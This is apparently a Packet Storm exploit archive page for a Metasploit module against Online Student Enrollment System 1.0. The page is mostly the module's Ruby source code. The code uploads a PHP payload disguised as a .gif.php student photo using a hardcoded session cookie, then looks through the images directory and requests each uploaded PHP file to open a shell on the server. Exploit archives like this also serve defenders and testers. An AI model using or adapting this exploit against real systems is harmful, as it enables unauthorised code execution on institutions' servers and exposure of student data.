exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online Student Enrollment System 1.0 Shell Upload

Online Student Enrollment System 1.0 Shell Upload
Posted Jun 25, 2020
Authored by BKpatron, th3d1gger | Site metasploit.com

This Metasploit module exploits a cross site request forgery vulnerability in Online Student Enrollment System version 1.0 to perform a shell upload.

tags | exploit, shell, csrf
SHA-256 | b6366584b46649d37ada0b665f649825e40650ad568620f751b7363d7e66995e

Online Student Enrollment System 1.0 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/http"
require "uri"
require 'nokogiri'



class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient



def initialize(info = {})
super(update_info(info,
'Name' => 'Online Student Enrollment System v1.0 Shell Upload ',
'Description' => %q{
This module exploits CSRF Vulnerability on Online Student Enrollment System v1.0.
},
'Author' => [ 'th3d1gger', 'bkpatron' ],

'License' => 'MSF_LICENSE',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('TARGETURI', [ true, 'Student Enrollment System uriPath', '/student_enrollment/'])



], self.class)
end

def targeturi
datastore['TARGETURI']
end




def online_reg





@fname = "#{rand_text_alphanumeric(rand(10)+6)}.gif.php"
php = "<?php #{payload.encoded} ?>"
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alphanumeric(rand(10)+6), nil, nil,'form-data; name="name"')
post_data.add_part(rand(9999).to_s, nil, nil, 'form-data; name="roll"') #rolling in the deep lol
post_data.add_part(rand_text_alphanumeric(rand(9)+6).to_s, nil, nil, 'form-data; name="address"')
post_data.add_part('01'+rand_text_alphanumeric(rand(6)+6).to_s, nil, nil, 'form-data; name="pcontact"')
post_data.add_part('2nd', nil, nil, 'form-data; name="class"')
post_data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"photo\"; filename=\"#{@fname}\"")
post_data.add_part('Add Student', nil, nil, 'form-data; name="addstudent"')

post_datacan = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore["TARGETURI"]+'/admin/index.php?page=add-student'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookies' => 'PHPSESSID=9178c6b337bdcff98de7fa66a8047f3d;',
'data' => post_datacan
})

if res.body.include?('Inserted!')

print_status("backdoor uploaded")
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['TARGETURI'].to_s+'admin/images/')
http = Net::HTTP.new(uri.host, uri.port)


request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)
doc = Nokogiri::HTML(response.body)

# Get all anchors via xpath to find uploaded file
nodeset = doc.xpath('//a')
hrefler = nodeset.map {|element| element["href"]}.compact
hrefler.each { |n|
if n.include?('.php')
#blind execution of payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']+'/admin/images/'+n)

})
end
}

sleep(60)

else
#print res.body
print_status("Upload Failed because of roll duplicate.Try Again!.")
end


end



def exploit
online_reg

if online_reg.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close